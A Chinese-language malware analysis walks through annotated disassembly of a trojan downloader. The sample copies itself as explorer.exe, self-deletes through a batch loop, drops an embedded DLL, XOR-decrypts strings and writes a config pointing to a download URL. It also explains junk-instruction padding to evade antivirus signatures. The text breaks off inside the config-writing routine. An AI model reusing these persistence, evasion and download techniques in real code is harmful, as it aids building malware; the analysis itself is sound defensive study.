我分析的一个Downloader,TrojanDownloader:Win32/Small.JF (MICROSOFT),
由于时间精力有限,只整理了exe部分的分析,为了方便读者阅读,
我加了大量的 注释,相信已经足够多,但仍希望读者具有一定的汇编基础,
逆向分析能力和API编程经验。
让我们开始吧:
PS______:00403896 ; =============== S U B R O U T I N E =======================================
PS______:00403896
PS______:00403896 ; Attributes: bp-based frame
PS______:00403896
PS______:00403896 public start
PS______:00403896 start proc near
PS______:00403896
PS______:00403896 FileName_41C = byte ptr -41Ch
PS______:00403896 var_41B = byte ptr -41Bh
PS______:00403896 ExistingFileName_318= byte ptr -318h
PS______:00403896 var_317 = byte ptr -317h
PS______:00403896 NewFileName_214 = byte ptr -214h
PS______:00403896 var_213 = byte ptr -213h
PS______:00403896 Buffer_110 = byte ptr -110h
PS______:00403896 var_10F = byte ptr -10Fh
PS______:00403896 var_C = dword ptr -0Ch
PS______:00403896 var_8 = dword ptr -8
PS______:00403896 NumberOfBytesWritten_4= dword ptr -4
PS______:00403896
PS______:00403896 push ebp
PS______:00403897 mov ebp, esp
PS______:00403899 sub esp, 41Ch
PS______:0040389F push ebx
PS______:004038A0 push esi
PS______:004038A1 push edi
PS______:004038A2 push 40h
PS______:004038A4 pop edx ; edx==40
PS______:004038A5 xor ebx, ebx ; ebx==0
PS______:004038A7 mov ecx, edx ; 40
PS______:004038A9 xor eax, eax ; eax==0
PS______:004038AB lea edi, [ebp+var_213] ; 213-103==110 ;;Local variable.
PS______:004038B1 mov [ebp+NewFileName_214], bl ; bl==0
PS______:004038B7 rep stosd
PS______:004038B9 stosw
PS______:004038BB stosb ; count of initialized bytes is 103
PS______:004038BC mov ecx, edx ; 40
PS______:004038BE xor eax, eax ; eax==0
PS______:004038C0 lea edi, [ebp+var_41B] ; 41B-103=318
PS______:004038C6 mov [ebp+FileName_41C], bl ; bl==0
PS______:004038CC rep stosd
PS______:004038CE stosw
PS______:004038D0 stosb ; Count of initialized bytes is 103
PS______:004038D1 mov ecx, edx ; 40
PS______:004038D3 xor eax, eax ; eax==0
PS______:004038D5 lea edi, [ebp+var_10F] ; 10F-103==C
PS______:004038DB mov [ebp+Buffer_110], bl ; bl==0
PS______:004038E1 rep stosd
PS______:004038E3 stosw
PS______:004038E5 stosb ; 103 bytes initialized
PS______:004038E6 mov ecx, edx ; 40
PS______:004038E8 xor eax, eax ; eax==0
PS______:004038EA lea edi, [ebp+var_317] ; 317-103=214
PS______:004038F0 mov [ebp+ExistingFileName_318], bl ; bl==0
PS______:004038F6 rep stosd
PS______:004038F8 stosw
PS______:004038FA stosb ; 103 byets initialized
以上是局部变量的初始化过程,相信参考我的注释读者应该可以容易看懂。
如果读者对某一指令不太熟悉,可以到 www.intel.com 下载相关文档。
PS______:004038FB mov edi, 104h ; length of char array
PS______:00403900 lea eax, [ebp+Buffer_110] ; system directory
PS______:00403906 push edi ; uSize
PS______:00403907 push eax ; lpBuffer
PS______:00403908 mov [ebp+NumberOfBytesWritten_4], ebx ; Initialize local variable with 0
PS______:0040390B call GetSystemDirectoryA ;;获取系统目录
PS______:00403911 mov esi, wsprintfA ;;API地址
PS______:00403917 lea eax, [ebp+Buffer_110] ; system directory
PS______:0040391D push eax
PS______:0040391E lea eax, [ebp+NewFileName_214] ;;system directory\explorer.exe
PS______:00403924 push offset aSExplorer_exe ; "%s\\explorer.exe"
PS______:00403929 push eax ; LPSTR
PS______:0040392A call esi ; wsprintfA
PS______:0040392C lea eax, [ebp+Buffer_110] ; system directory
PS______:00403932 push eax
PS______:00403933 lea eax, [ebp+FileName_41C] ; system directory\netsrv.dll
PS______:00403939 push offset aSNetsrv_dll ; "%s\\netsrv.dll"
PS______:0040393E push eax ; LPSTR
PS______:0040393F call esi ; wsprintfA ; Notice the difference among the different calling conventions.
PS______:00403941 add esp, 18h ; Revert the stack pointer 2*C
PS______:00403944 lea eax, [ebp+ExistingFileName_318]
PS______:0040394A push edi ; nSize
PS______:0040394B push eax ; lpFilename
PS______:0040394C push ebx ; hModule ebx==0
PS______:0040394D call GetModuleFileNameA ; Retrieve full path and file name of the executable file
PS______:00403953 pusha ; useless
PS______:00403954 mov eax, 3
PS______:00403959 popa ; useless
在此处读者需要注意:以上代码片段从实现程序功能的角度讲没有任何实际作用,但他们有时会被
恶意程序的设计者们用来躲过安全软件的特征码扫描,举个最简单的例子:
假设有一个世界公认的恶性病毒,安全厂商的技术人员会尝试从他们的得到的样本中提取特征码,
然后将从文件中读出的信息与特征码进行匹配,一旦相同,。。。。。。
之所以称为特征码,是因为它们应当十分罕见(在病毒体之外),或者说病毒特有,这样它们就可以作为识别病毒的特征。
假设 mov eax,0
inc eax
对应的机器码被作为特征码,那么
mov eax,0
pusha
mov eax,3
popa
Inc eax
对应的机器码就不会被安全软件识别,当然,现在的技术有了很大的提高,我不能保证此法绝对有效。但你完全可以相信 特征码 扫描是杀毒软件识别
恶意程序的基本法方法,病毒不断涌现,特征码不断增加,这就是你的杀软的 病毒库需要更新的根本原因。
PS______:0040395A lea eax, [ebp+ExistingFileName_318] ; Module file name
PS______:00403960 push offset aExplorer_exe ; "explorer.exe"
PS______:00403965 push eax ; lpsz
PS______:00403966 call CharLowerA
PS______:0040396C push eax ; a pointer to module file name
PS______:0040396D call CompareStrings ; if string1 contains string2 ,return non-zero.Otherwise return 0
以下是 CompareStrings 函数:
PS______:00403844 ; =============== S U B R O U T I N E =======================================
PS______:00403844
PS______:00403844 ; Attributes: bp-based frame
PS______:00403844
PS______:00403844 CompareStrings proc near ; CODE XREF: start+D7 p
PS______:00403844
PS______:00403844 arg_0 = dword ptr 8
PS______:00403844 arg_4 = dword ptr 0Ch
PS______:00403844
PS______:00403844 push ebp
PS______:00403845 mov ebp, esp
PS______:00403847 push ebx
PS______:00403848 push esi
PS______:00403849 mov esi, [ebp+arg_0] ; p1
PS______:0040384C push edi
PS______:0040384D xor edi, edi ; edi==0
PS______:0040384F mov cl, [esi]
PS______:00403851 test cl, cl
PS______:00403853 jz short loc_40388A ; If the first parameter is invalid,failed,return 0
PS______:00403855 mov ebx, [ebp+arg_4] ; Get the second parameter
PS______:00403858 mov eax, esi ; p1
PS______:0040385A mov dl, [ebx] ; The first character of second string
PS______:0040385C mov byte ptr [ebp+arg_0+3], dl ; This instruction will modify the stack parameter
PS______:0040385F
PS______:0040385F loc_40385F: ; CODE XREF: CompareStrings+44 j
PS______:0040385F cmp cl, byte ptr [ebp+arg_0+3] ; Compare the first character with another
PS______:00403862 jnz short loc_40387F
PS______:00403864 push 1
PS______:00403866 mov ecx, ebx ; p2
PS______:00403868 mov [ebp+arg_4], eax ; p1
PS______:0040386B pop edx ; edx==1
PS______:0040386C
PS______:0040386C loc_40386C: ; CODE XREF: CompareStrings+39 j
PS______:0040386C cmp byte ptr [edx+ecx], 0 ; If we encounter the termination of the second string,
PS______:0040386C ; it proves that the second string is contained
PS______:0040386C ; in the first string.
PS______:00403870 jz short loc_403891
PS______:00403872 inc [ebp+arg_4] ; increase the string pointer
PS______:00403875 inc ecx ; Increase the string pointer
PS______:00403876 mov eax, [ebp+arg_4] ; p1
PS______:00403879 mov al, [eax]
PS______:0040387B cmp al, [ecx] ; p2
PS______:0040387D jz short loc_40386C
PS______:0040387F
PS______:0040387F loc_40387F: ; CODE XREF: CompareStrings+1E j
PS______:0040387F inc edi
PS______:00403880 mov cl, [edi+esi] ; Get the next character of p1
PS______:00403883 lea eax, [edi+esi]
PS______:00403886 test cl, cl
PS______:00403888 jnz short loc_40385F
PS______:0040388A
PS______:0040388A loc_40388A: ; CODE XREF: CompareStrings+F j
PS______:0040388A xor eax, eax
PS______:0040388C
PS______:0040388C loc_40388C: ; CODE XREF: CompareStrings+50 j
PS______:0040388C pop edi
PS______:0040388D pop esi
PS______:0040388E pop ebx
PS______:0040388F pop ebp
PS______:00403890 retn
PS______:00403891 ; ---------------------------------------------------------------------------
PS______:00403891
PS______:00403891 loc_403891: ; CODE XREF: CompareStrings+2C j
PS______:00403891 lea eax, [edi+esi] ; pointer
PS______:00403894 jmp short loc_40388C
PS______:00403894 CompareStrings endp
PS______:00403894
PS______:00403896
虽然我加了注释,由于此函数可读性较差,读者理解起来可能仍有困难,所以我用C语言的语法形式对其结构进行了划分:
PS______:00403844 ; =============== S U B R O U T I N E =======================================
PS______:00403844
PS______:00403844 ; Attributes: bp-based frame
PS______:00403844
PS______:00403844 CompareStrings proc near ; CODE XREF: start+D7 p
PS______:00403844
PS______:00403844 arg_0 = dword ptr 8
PS______:00403844 arg_4 = dword ptr 0Ch
PS______:00403844
PS______:00403844 push ebp
PS______:00403845 mov ebp, esp
PS______:00403847 push ebx
PS______:00403848 push esi
PS______:00403849 mov esi, [ebp+arg_0] ; p1
PS______:0040384C push edi
PS______:0040384D xor edi, edi ; edi==0
PS______:0040384F mov cl, [esi]
PS______:00403851 test cl, cl
PS______:00403853 jz short loc_40388A ; If the first parameter is invalid,failed,return 0
if 001 start if(cl!=0)
PS______:00403855 mov ebx, [ebp+arg_4] ; Get the second parameter
PS______:00403858 mov eax, esi ; p1
PS______:0040385A mov dl, [ebx] ; The first character of second string
PS______:0040385C mov byte ptr [ebp+arg_0+3], dl ; This instruction will modify the stack parameter
Loop 001 start
PS______:0040385F
PS______:0040385F loc_40385F: ; CODE XREF: CompareStrings+44 j
PS______:0040385F cmp cl, byte ptr [ebp+arg_0+3] ; Compare the first characters of two strings
PS______:00403862 jnz short loc_40387F
if 002 start
PS______:00403864 push 1
PS______:00403866 mov ecx, ebx ; p2
PS______:00403868 mov [ebp+arg_4], eax ; p1
PS______:0040386B pop edx ; edx==1
Loop 002 start
PS______:0040386C
PS______:0040386C loc_40386C: ; CODE XREF: CompareStrings+39 j
PS______:0040386C cmp byte ptr [edx+ecx], 0 ; If we encounter the termination of the second string,
PS______:0040386C ; it proves that the second string is contained
PS______:0040386C ; in the first string.
PS______:00403870 jz short loc_403891
PS______:00403872 inc [ebp+arg_4] ; increase the string pointer
PS______:00403875 inc ecx ; Increase the string pointer
PS______:00403876 mov eax, [ebp+arg_4] ; p1
PS______:00403879 mov al, [eax]
PS______:0040387B cmp al, [ecx] ; p2
PS______:0040387D jz short loc_40386C
Loop 002 end
If 002 end
PS______:0040387F
PS______:0040387F loc_40387F: ; CODE XREF: CompareStrings+1E j
PS______:0040387F inc edi
PS______:00403880 mov cl, [edi+esi] ; Get the next character of p1
PS______:00403883 lea eax, [edi+esi]
PS______:00403886 test cl, cl
PS______:00403888 jnz short loc_40385F
Loop 001 end
if 001 end
PS______:0040388A
PS______:0040388A loc_40388A: ; CODE XREF: CompareStrings+F j
PS______:0040388A xor eax, eax
PS______:0040388C
PS______:0040388C loc_40388C: ; CODE XREF: CompareStrings+50 j
PS______:0040388C pop edi
PS______:0040388D pop esi
PS______:0040388E pop ebx
PS______:0040388F pop ebp
PS______:00403890 retn
PS______:00403891 ; ---------------------------------------------------------------------------
PS______:00403891
PS______:00403891 loc_403891: ; CODE XREF: CompareStrings+2C j
PS______:00403891 lea eax, [edi+esi] ; pointer
PS______:00403894 jmp short loc_40388C
PS______:00403894 CompareStrings endp
PS______:00403894
PS______:00403896
其中,Loop 对应于C中的循环结构,if 对应 C中 if(){}结构体。相信结构上的划分可以帮助读者理解。
我们继续:
PS______:00403972 pop ecx ; Revert sp
PS______:00403973 test eax, eax ;notice
PS______:00403975 pop ecx ; Revert sp
PS______:00403976 jnz short loc_4039E0 ;;又一个if(){}
PS______:00403978 lea eax, [ebp+NewFileName_214]
PS______:0040397E push 1 ; bFailIfExists
PS______:00403980 push eax ; lpNewFileName
PS______:00403981 lea eax, [ebp+ExistingFileName_318]
PS______:00403987 push eax ; lpExistingFileName
PS______:00403988 call CopyFileA ; copy itself to system directory
将自己拷贝到系统目录下,然后创建新进程,并结束当前进程。
PS______:0040398E mov esi, GlobalAlloc
PS______:00403994 push 44h ; dwBytes
PS______:00403996 push 40h ; uFlags
PS______:00403998 call esi ; GlobalAlloc
PS______:0040399A push 10h ; dwBytes
PS______:0040399C push 40h ; uFlags
PS______:0040399E mov edi, eax ; Pointer to the heap memory
PS______:004039A0 call esi ; GlobalAlloc
PS______:004039A2 push eax ; lpProcessInformation
PS______:004039A3 xor esi, esi ; esi==0
PS______:004039A5 push edi ; lpStartupInfo
PS______:004039A6 push esi ; lpCurrentDirectory
PS______:004039A7 push esi ; lpEnvironment
PS______:004039A8 push esi ; dwCreationFlags
PS______:004039A9 push esi ; bInheritHandles
PS______:004039AA push esi ; lpThreadAttributes
PS______:004039AB push esi ; lpProcessAttributes
PS______:004039AC lea eax, [ebp+NewFileName_214] ; newly created exe file
PS______:004039B2 push esi ; lpCommandLine
PS______:004039B3 push eax ; lpApplicationName
PS______:004039B4 mov dword ptr [edi], 4 ; Initialize heap with 4
PS______:004039BA call CreateProcessA ; Another process
PS______:004039C0 push 3E8h ; dwMilliseconds
PS______:004039C5 call Sleep ; Wait...
PS______:004039CB call DeletePreviousEXEFile
这是一个有趣的函数,对它进行详细的分析很有必要:
PS______:00403C1F ; =============== S U B R O U T I N E =======================================
PS______:00403C1F
PS______:00403C1F ; Attributes: bp-based frame
PS______:00403C1F
PS______:00403C1F DeletePreviousEXEFile proc near ; CODE XREF: start+135 p
PS______:00403C1F
PS______:00403C1F String_550 = byte ptr -550h
PS______:00403C1F var_54F = byte ptr -54Fh
PS______:00403C1F Str_350 = byte ptr -350h
PS______:00403C1F var_34F = byte ptr -34Fh
PS______:00403C1F Filename_24C = byte ptr -24Ch
PS______:00403C1F var_24B = byte ptr -24Bh
PS______:00403C1F FileName_148 = byte ptr -148h
PS______:00403C1F var_147 = byte ptr -147h
PS______:00403C1F var_44 = byte ptr -44h
PS______:00403C1F String2_14 = byte ptr -14h
PS______:00403C1F NumberOfBytesWritten= dword ptr -4
PS______:00403C1F
PS______:00403C1F push ebp
PS______:00403C20 mov ebp, esp
PS______:00403C22 sub esp, 550h
PS______:00403C28 push ebx
PS______:00403C29 push esi
PS______:00403C2A push edi
PS______:00403C2B push 0Bh
PS______:00403C2D pop ecx ; 0BH
PS______:00403C2E mov esi, offset aRepeatDelSIfEx ; ":Repeat\r\ndel \"%s\"\r\nif exist \"%s\" goto R"...
关于aRepeatDelSIfEx的定义:
PS______:00403814 aRepeatDelSIfEx db ':Repeat',0Dh,0Ah ; DATA XREF: DeletePreviousEXEFile+F o
PS______:00403814 db 'del "%s"',0Dh,0Ah
PS______:00403814 db 'if exist "%s" goto Repeat',0Dh,0Ah,0
我们继续:
PS______:00403C33 lea edi, [ebp+var_44] ; :Repeat...
PS______:00403C36 push 7Fh
PS______:00403C38 rep movsd
PS______:00403C3A movsw
PS______:00403C3C movsb ; 2BH bytes was moved
PS______:00403C3D mov esi, offset a_uninsep_bat ; "_uninsep.bat"
PS______:00403C42 lea edi, [ebp+String2_14] ; File name "_uninsep.bat"
PS______:00403C45 movsd ; Move doubleword at address ds:(e)si to address es:(e)di
PS______:00403C46 movsd
PS______:00403C47 movsd
PS______:00403C48 movsb ; 13 bytes were moved
PS______:00403C49 xor ebx, ebx ; ebx==0
PS______:00403C4B pop ecx ; ecx==7F
PS______:00403C4C xor eax, eax ; eax==0
PS______:00403C4E lea edi, [ebp+var_54F]
PS______:00403C54 mov [ebp+String_550], bl ; bl==0
PS______:00403C5A push 40h
PS______:00403C5C rep stosd ; Initialize with 0
PS______:00403C5E stosw
PS______:00403C60 stosb ; 1FF bytes was initialized with 0
PS______:00403C61 pop ecx ; 40
PS______:00403C62 xor eax, eax ; 0
PS______:00403C64 lea edi, [ebp+var_24B]
PS______:00403C6A mov [ebp+Filename_24C], bl
PS______:00403C70 rep stosd
PS______:00403C72 stosw
PS______:00403C74 stosb ; 103 byets was initialized with 0
PS______:00403C75 push 40h
PS______:00403C77 xor eax, eax
PS______:00403C79 pop ecx ; 40
PS______:00403C7A lea edi, [ebp+var_147]
PS______:00403C80 mov [ebp+FileName_148], bl
PS______:00403C86 push 40h
PS______:00403C88 rep stosd
PS______:00403C8A stosw
PS______:00403C8C stosb ; 103 bytes was initialized with 0
PS______:00403C8D pop ecx ; 40
PS______:00403C8E xor eax, eax
PS______:00403C90 lea edi, [ebp+var_34F]
PS______:00403C96 mov [ebp+Str_350], bl
PS______:00403C9C rep stosd
PS______:00403C9E stosw
PS______:00403CA0 stosb ; 103
PS______:00403CA1 lea eax, [ebp+String2_14] ; file name "_uninset.bat"
PS______:00403CA4 mov [ebp+NumberOfBytesWritten], ebx ; Initialze local variable with 0
PS______:00403CA7 push eax ; lpString2
PS______:00403CA8 lea eax, [ebp+FileName_148] ; _uninset.bat
PS______:00403CAE push eax ; lpString1
PS______:00403CAF call lstrcatA ; Create file name "_uninset.bat"
PS______:00403CB5 lea eax, [ebp+String2_14]
PS______:00403CB8 push eax
PS______:00403CB9 lea eax, [ebp+FileName_148] ; c:\_uninset.bat
PS______:00403CBF push offset aCS ; "c:\\%s"
PS______:00403CC4 push eax ; LPSTR
PS______:00403CC5 call wsprintfA ; Create "c:\_uninset.bat"
PS______:00403CCB add esp, 0Ch ; Revert sp ;;Caution
PS______:00403CCE lea eax, [ebp+Filename_24C] ; full path and module name
PS______:00403CD4 push 104h ; nSize
PS______:00403CD9 push eax ; lpFilename
PS______:00403CDA push ebx ; hModule
PS______:00403CDB call GetModuleFileNameA
PS______:00403CE1 lea eax, [ebp+Filename_24C] ; module name
PS______:00403CE7 push eax ; lpString2
PS______:00403CE8 lea eax, [ebp+Str_350]
PS______:00403CEE push eax ; lpString1
PS______:00403CEF call lstrcpyA
PS______:00403CF5 lea eax, [ebp+Str_350] ; module name
PS______:00403CFB push 5Ch ; Ch Slash '\'
PS______:00403CFD push eax ; Str
PS______:00403CFE call strrchr
PS______:00403D04 pop ecx
PS______:00403D05 cmp eax, ebx ; ebx==0 ;;eax is the return value of the strrchr()
PS______:00403D07 pop ecx
PS______:00403D08 jz loc_403DAB ; if there is not a slash in the module name ,failed,return
PS______:00403D0E mov [eax], bl ; create new string
PS______:00403D10 pusha ; useless
PS______:00403D11 mov eax, 1
PS______:00403D16 popa ; useless
PS______:00403D17 xor edi, edi ; edi==0
PS______:00403D19 lea eax, [ebp+FileName_148]
PS______:00403D1F push edi ; hTemplateFile
PS______:00403D20 push 80h ; dwFlagsAndAttributes
PS______:00403D25 push 2 ; dwCreationDisposition
PS______:00403D27 push edi ; lpSecurityAttributes
PS______:00403D28 push edi ; dwShareMode
PS______:00403D29 push 40000000h ; dwDesiredAccess
PS______:00403D2E push eax ; lpFileName
PS______:00403D2F call CreateFileA ; c:\_uninset.bat
生成c:\_uninset.bat。下面将“:Repeat:…..”写入此文件。并通WinExec()两次执行它。确保删除原始的可执行文件。
PS______:00403D35 mov esi, eax ; file handle
PS______:00403D37 cmp esi, 0FFFFFFFFh
PS______:00403D3A jz short loc_403DAB ; if handle is invalid,failed
PS______:00403D3C lea eax, [ebp+Filename_24C] ; module name
PS______:00403D42 push eax
PS______:00403D43 lea eax, [ebp+Filename_24C] ; module name
PS______:00403D49 push eax
PS______:00403D4A lea eax, [ebp+var_44] ; :Repeat...
PS______:00403D4D push eax ; LPCSTR
PS______:00403D4E lea eax, [ebp+String_550] ; file content
PS______:00403D54 push eax ; LPSTR
PS______:00403D55 call wsprintfA ; Create the file content
PS______:00403D5B add esp, 10h ; Revert the sp
PS______:00403D5E lea eax, [ebp+NumberOfBytesWritten]
PS______:00403D61 push edi ; lpOverlapped
PS______:00403D62 push eax ; lpNumberOfBytesWritten
PS______:00403D63 lea eax, [ebp+String_550] ; file content
PS______:00403D69 push eax ; lpString
PS______:00403D6A call lstrlenA
PS______:00403D70 push eax ; nNumberOfBytesToWrite
PS______:00403D71 lea eax, [ebp+String_550] ; file content
PS______:00403D77 push eax ; lpBuffer
PS______:00403D78 push esi ; hFile
PS______:00403D79 call WriteFile
PS______:00403D7F push esi ; hObject
PS______:00403D80 call CloseHandle ; Close the file handle
PS______:00403D86 mov esi, WinExec
PS______:00403D8C lea eax, [ebp+FileName_148]
PS______:00403D92 push edi ; uCmdShow
PS______:00403D93 push eax ; lpCmdLine
PS______:00403D94 call esi ; WinExec ; execute newly created .bat file
PS______:00403D96 push 12Ch ; dwMilliseconds
PS______:00403D9B call Sleep
PS______:00403DA1 lea eax, [ebp+FileName_148]
PS______:00403DA7 push edi ; uCmdShow
PS______:00403DA8 push eax ; lpCmdLine
PS______:00403DA9 call esi ; WinExec ; again
PS______:00403DAB
PS______:00403DAB loc_403DAB: ; CODE XREF: DeletePreviousEXEFile+E9 j
PS______:00403DAB ; DeletePreviousEXEFile+11B j
PS______:00403DAB pop edi
PS______:00403DAC pop esi
PS______:00403DAD pop ebx
PS______:00403DAE leave
PS______:00403DAF retn
PS______:00403DAF DeletePreviousEXEFile endp
DeletePreviousEXEFile()到此结束。继续:
PS______:004039D0 push esi ; uExitCode
PS______:004039D1 call GetCurrentProcess
PS______:004039D7 push eax ; hProcess
PS______:004039D8 call TerminateProcess ; Terminate the current process
PS______:004039DE jmp short loc_4039E2 ; useless,will never be executed.
PS______:004039E0 ; ---------------------------------------------------------------------------
PS______:004039E0
PS______:004039E0 loc_4039E0: ; CODE XREF: start+E0 j
PS______:004039E0 xor esi, esi
PS______:004039E2
PS______:004039E2 loc_4039E2: ; CODE XREF: start+148 j
PS______:004039E2 mov edi, OpenMutexA
PS______:004039E8 push offset Name ; "CNXZ_PRO_2008"
PS______:004039ED mov ebx, 1F0001h
PS______:004039F2 push esi ; bInheritHandle
PS______:004039F3 push ebx ; dwDesiredAccess
PS______:004039F4 call edi ; OpenMutexA
PS______:004039F6 test eax, eax ; CHECK HANDLE
PS______:004039F8 jnz loc_403ADA ; If already exists,jump
PS______:004039FE push offset a200823 ; "2008-2-3"
PS______:00403A03 push esi ; bInheritHandle
PS______:00403A04 push ebx ; dwDesiredAccess
PS______:00403A05 call edi ; OpenMutexA
PS______:00403A07 test eax, eax
PS______:00403A09 jnz loc_403ADA ; if already exists,jump
以上代码段检测系统中是否存在指定的Mutex对象,如果存在,退出
PS______:00403A0F push offset a200823 ; "2008-2-3"
PS______:00403A14 push esi ; bInitialOwner
PS______:00403A15 push esi ; lpMutexAttributes
PS______:00403A16 call CreateMutexA ; To prevent itself from 防止程序重复执行
PS______:00403A16 ; executing the same code
PS______:00403A16 ; fragment
PS______:00403A1C call GetLastError
PS______:00403A22 cmp eax, 563h ; if already exist,jump
PS______:00403A27 jz loc_403ADA ; If failed,jump
PS______:00403A2D pusha ; useless
PS______:00403A2E mov eax, 3
PS______:00403A33 popa ; over
PS______:00403A34 xor ebx, ebx ; ebx==0
PS______:00403A36 lea eax, [ebp+FileName_41C]
PS______:00403A3C push ebx ; hTemplateFile
PS______:00403A3D push 80h ; dwFlagsAndAttributes
PS______:00403A42 push 2 ; dwCreationDisposition
PS______:00403A44 push ebx ; lpSecurityAttributes
PS______:00403A45 push ebx ; dwShareMode
PS______:00403A46 push 40000000h ; dwDesiredAccess
PS______:00403A4B push eax ; lpFileName
PS______:00403A4C call CreateFileA ; sysdirec\netsrv.dll
在系统目录中生成netsrv.dll,
注意:此DLL 文件的所有内容被嵌在EXE 文件中,由EXE 在运行过程中动态生成DLL是一种重要的方法。
众所周知,WINDOWS提供的一些高级特性,如全局钩子,只有通过DLL 才能完成。这种合二为一的方法
不但增强了隐蔽性,还会对IDA等分析工具的分析结果造成一定影响。
PS______:00403A52 mov esi, eax ; file handle
PS______:00403A54 cmp esi, 0FFFFFFFFh
PS______:00403A57 jz short loc_403A77 ; if failed,jump
PS______:00403A59 lea eax, [ebp+NumberOfBytesWritten_4]
PS______:00403A5C push ebx ; lpOverlapped
PS______:00403A5D push eax ; lpNumberOfBytesWritten
PS______:00403A5E push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
PS______:00403A64 push offset dword_402000 ; lpBuffer
PS______:00403A69 push esi ; hFile
PS______:00403A6A call WriteFile ; Write netsrv.dll
PS______:00403A70 push esi ; hObject
PS______:00403A71 call CloseHandle ; Close handle of netsrv.dll
PS______:00403A77
PS______:00403A77 loc_403A77: ; CODE XREF: start+1C1 j
PS______:00403A77 call CreateBOLE_INI
又是一个新函数,不要担心, 我已经添加了足够的注释,而且它很简单:
PS______:00403AE3 ; =============== S U B R O U T I N E =======================================
PS______:00403AE3
PS______:00403AE3 ; Attributes: bp-based frame
PS______:00403AE3
PS______:00403AE3 CreateBOLE_INI proc near ; CODE XREF: start:loc_403A77 p
PS______:00403AE3
PS______:00403AE3 String_554 = byte ptr -554h
PS______:00403AE3 var_553 = byte ptr -553h
PS______:00403AE3 FileName_154 = byte ptr -154h
PS______:00403AE3 var_153 = byte ptr -153h
PS______:00403AE3 var_50 = byte ptr -50h
PS______:00403AE3 var_4F = byte ptr -4Fh
PS______:00403AE3 String1_10 = byte ptr -10h
PS______:00403AE3 var_F = byte ptr -0Fh
PS______:00403AE3 NumberOfBytesWritten= dword ptr -4
PS______:00403AE3
PS______:00403AE3 push ebp
PS______:00403AE4 mov ebp, esp
PS______:00403AE6 sub esp, 554h
PS______:00403AEC push ebx
PS______:00403AED push esi
PS______:00403AEE push edi
PS______:00403AEF push 40h
PS______:00403AF1 xor ebx, ebx ; ebx==0
PS______:00403AF3 pop ecx ; 40
PS______:00403AF4 xor eax, eax ; eax==0
PS______:00403AF6 lea edi, [ebp+var_153]
PS______:00403AFC mov [ebp+FileName_154], bl
PS______:00403B02 mov [ebp+String_554], bl
PS______:00403B08 rep stosd
PS______:00403B0A stosw
PS______:00403B0C stosb ; 103 was initialized with 0
PS______:00403B0D mov ecx, 0FFh ; FF
PS______:00403B12 xor eax, eax ; EAX==0
PS______:00403B14 lea edi, [ebp+var_553]
PS______:00403B1A push 0Fh
PS______:00403B1C rep stosd
PS______:00403B1E stosw
PS______:00403B20 stosb ; 3FF bytes was initialized with 0
PS______:00403B21 pop ecx ; 0F
PS______:00403B22 xor eax, eax ; 0
PS______:00403B24 lea edi, [ebp+var_4F]
PS______:00403B27 mov [ebp+var_50], bl ; bl=0
PS______:00403B2A rep stosd
PS______:00403B2C stosw
PS______:00403B2E stosb ; 3F bytes was initialized with 0
PS______:00403B2F xor eax, eax ; 0
PS______:00403B31 lea edi, [ebp+var_F]
PS______:00403B34 mov [ebp+String1_10], bl ; bl=0
PS______:00403B37 mov [ebp+NumberOfBytesWritten], ebx ; ebx==0
PS______:00403B3A stosd
PS______:00403B3B stosd
PS______:00403B3C stosb ; 9 bytes were initialized with 0
PS______:00403B3D mov edi, 104h
PS______:00403B42 lea eax, [ebp+FileName_154] ; Moudle file name
PS______:00403B48 push edi ; nSize length of the char array
PS______:00403B49 push eax ; lpFilename
PS______:00403B4A push ebx ; hModule
PS______:00403B4B call GetModuleFileNameA
PS______:00403B51 xor ecx, ecx ; 0
PS______:00403B53 cmp dword_403618, ebx ; compare 4CH with 0
PS______:00403B59 jbe short loc_403B7D
PS______:00403B5B
PS______:00403B5B loc_403B5B: ; CODE XREF: CreateBOLE_INI+98 j
PS______:00403B5B mov eax, lpString2
PS______:00403B60 xor byte ptr [eax+ecx], 25h
PS______:00403B64 add eax, ecx ; useless
PS______:00403B66 mov eax, lpString2
PS______:00403B6B add eax, ecx
PS______:00403B6D cmp byte ptr [eax], 20h
PS______:00403B70 jnz short loc_403B74
PS______:00403B72 mov [eax], bl
PS______:00403B74
PS______:00403B74 loc_403B74: ; CODE XREF: CreateBOLE_INI+8D j
PS______:00403B74 inc ecx
PS______:00403B75 cmp ecx, dword_403618
PS______:00403B7B jb short loc_403B5B
以上代码段用于循环解密字符串,我以前的帖子对其做了详细的注释,故不再重复介绍。
PS______:00403B7D
PS______:00403B7D loc_403B7D: ; CODE XREF: CreateBOLE_INI+76 j
PS______:00403B7D push lpString2 ; lpString2 "2008-2-3"
PS______:00403B83 mov esi, lstrcpyA
PS______:00403B89 lea eax, [ebp+String1_10] ; "2008-2-3"
PS______:00403B8C push eax ; lpString1
PS______:00403B8D call esi ; lstrcpyA
PS______:00403B8F mov eax, lpString2
PS______:00403B94 add eax, 0Ch ; pointer to second decoded string
PS______:00403B97 push eax ; lpString2
PS______:00403B98 lea eax, [ebp+var_50] ; http://iii.chsip.net/list.txt
PS______:00403B9B push eax ; lpString1
PS______:00403B9C call esi ; lstrcpyA
PS______:00403B9E lea eax, [ebp+FileName_154] ; system directory
PS______:00403BA4 push edi ; uSize
PS______:00403BA5 push eax ; lpBuffer
PS______:00403BA6 call GetSystemDirectoryA
PS______:00403BAC lea eax, [ebp+FileName_154] ; system directory\BOLE.INI
PS______:00403BB2 push offset String2 ; "\\BOLE.INI"
PS______:00403BB7 push eax ; lpString1
PS______:00403BB8 call lstrcatA
PS______:00403BBE push ebx ; hTemplateFile
PS______:00403BBF push ebx ; dwFlagsAndAttributes
PS______:00403BC0 push 2 ; dwCreationDisposition
PS______:00403BC2 push ebx ; lpSecurityAttributes
PS______:00403BC3 push ebx ; dwShareMode
PS______:00403BC4 lea eax, [ebp+FileName_154] ; system directory\BOLE.INI
PS______:00403BCA push 2 ; dwDesiredAccess
PS______:00403BCC push eax ; lpFileName
PS______:00403BCD call CreateFileA ; Create BOLE.INI in system directory
在系统目录中生成BOLE。INI文件,并将解密出的字符串经格式化后写入其中,写入代码见下:
PS______:00403BD3 mov esi, eax ; File handle of BOLE.INI
PS______:00403BD5 lea eax, [ebp+var_50]
PS______:00403BD8 push eax
PS______:00403BD9 lea eax, [ebp+String1_10]
PS______:00403BDC push eax
PS______:00403BDD lea eax, [ebp+String_554] ; Content of BOLE.INI
PS______:00403BE3 push offset aUrlVersionSGet ; "[URL]\r\nVERSION=%s\r\nGET=%s"
PS______:00403BE8 push eax ; LPSTR
PS______:00403BE9 call wsprintfA
PS______:00403BEF add esp, 10h ; Revert the stack pointer
